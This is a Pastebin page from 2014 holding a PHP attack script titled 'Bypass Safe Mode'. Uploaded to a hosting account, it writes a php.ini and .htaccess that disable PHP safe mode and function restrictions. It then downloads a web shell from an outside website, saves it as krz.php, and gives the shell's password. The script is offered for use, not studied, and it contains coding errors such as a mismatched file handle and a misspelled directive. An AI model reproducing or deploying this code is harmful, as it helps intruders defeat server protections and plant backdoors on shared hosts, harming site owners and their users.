long_term

Bypass Safe Mode

Jul 22nd, 2014
581
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.19 KB | None | 0 0
  1. <?
  2. /*
  3.  * Title : Bypass Server [ Sfa7 Trick ]
  4.  * Coder : Dr.KroOoZ
  5.  * Greets To : b0x
  6.  * Must Upload Like Here : /home/user/www/ | http://localhost.com/bypass.php
  7.  * Password Shell is :  b374k
  8.  */
  9. # Mkdir
  10. $dir = "mkdir";
  11. $bb = $dir('img');
  12. if($bb){
  13.     echo "[img] => Folder Create Complate !";
  14. } else {
  15.     echo "[img] Error !";
  16. }
  17. # php.ini
  18. $ARGENTINA = fopen('img/php.ini', 'w');
  19. $sec = "safe_mode = OFF
  20. disable_funtions = NONE";
  21. fwrite($img ,$sec);
  22. fclose($img);
  23. if($img){
  24.     echo "<br>[php.ini] => Create Complate !";
  25. } else {
  26.     echo "<br>[php.ini] Error !";
  27. }
  28. # .htaccess
  29. $create = fopen("img/.htaccess", 'w');
  30. $s3c = "suPHP_ConfigPath /home/".get_current_user()."/public_html/img/php.ini";
  31. fwrite($create ,$s3c);
  32. fclose($create);
  33. if($create) {
  34.     echo "<br>[.htaccess] => Create Complate !";
  35. } else {
  36.     echo "<br>[.htaccess] Error !";
  37. }
  38. # Shell
  39. $b37 = 'http://londonachievementprocesses.com/wordpress/wp-content/plugins/corner-ad/help.txt';
  40. $sh = file_get_contents($b37);
  41. $open = fopen('img/krz.php', 'w');
  42. fwrite($open,$sh);
  43. fclose($open);
  44. if($open) {
  45.     echo "<br>[img.php] => Shell Upload Complate !";
  46. } else {
  47.     echo "<br>[img.php] => Error !";
  48. }
  49. ?>
Advertisement
Add Comment
Please, Sign In to add comment